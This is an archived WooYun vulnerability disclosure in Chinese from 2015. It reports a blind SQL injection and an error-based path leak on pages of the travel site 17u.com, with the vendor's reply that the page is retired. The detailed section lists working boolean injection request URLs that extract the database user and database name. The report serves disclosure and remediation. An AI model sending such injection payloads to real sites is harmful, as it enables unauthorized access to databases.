漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-090669
漏洞标题：同程旅游网某频道鸡肋SQL注入漏洞
相关厂商：苏州同程旅游网络科技有限公司
漏洞作者： sex is not show
提交时间：2015-01-08 15:22
修复时间：2015-01-08 16:45
公开时间：2015-01-08 16:45
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：厂商已经修复
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-01-08： 细节已通知厂商并且等待厂商处理中
2015-01-08： 厂商已经确认，细节仅向厂商公开
2015-01-08： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
RT
详细说明：
注入点：http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337
比较鸡肋，貌似禁用了substring()函数，只能猜到current_db和current_user
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337 and 1=1-- 正常
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337 and 1=11-- 反应很慢，然后跳转到首页
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337%20and%20%2717u_com%27=user-- 正常访问
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337%20and%20%2717u_com1%27=user-- 反应慢，然后跳转到首页
证明current_user为：17u_com
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337%20and%20%2717u_net%27=db_name()-- 正常访问
http://www.17u.com/special/2010wujiang/blog-show.asp?id=6337%20and%20%2717u_net1%27=db_name()-- 反应很慢，然后跳转到频道首页
说明current_db为：17u_net
仅证明漏洞存在，技术菜，只能证明到这里了
另外送一个爆物理路径的地方：
http://www.17u.com/activity/17u-fengchenghe/childfengcai.aspx?page=3%27&type=-1
漏洞证明：
如上吧
修复方案：
1. 参数过滤
2. 错误信息屏蔽掉
版权声明：转载请注明来源 sex is not show@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2015-01-08 16:43
厂商回复：
感谢关注同程旅游，老页面，已下线。
已经切到了软WAF上，有兴趣可以测一把。为了避免误拦，去掉了很多规则，可能可以bypass。
最新状态：
2015-01-08：部分asp的老页面切到了软WAF上，欢迎来测。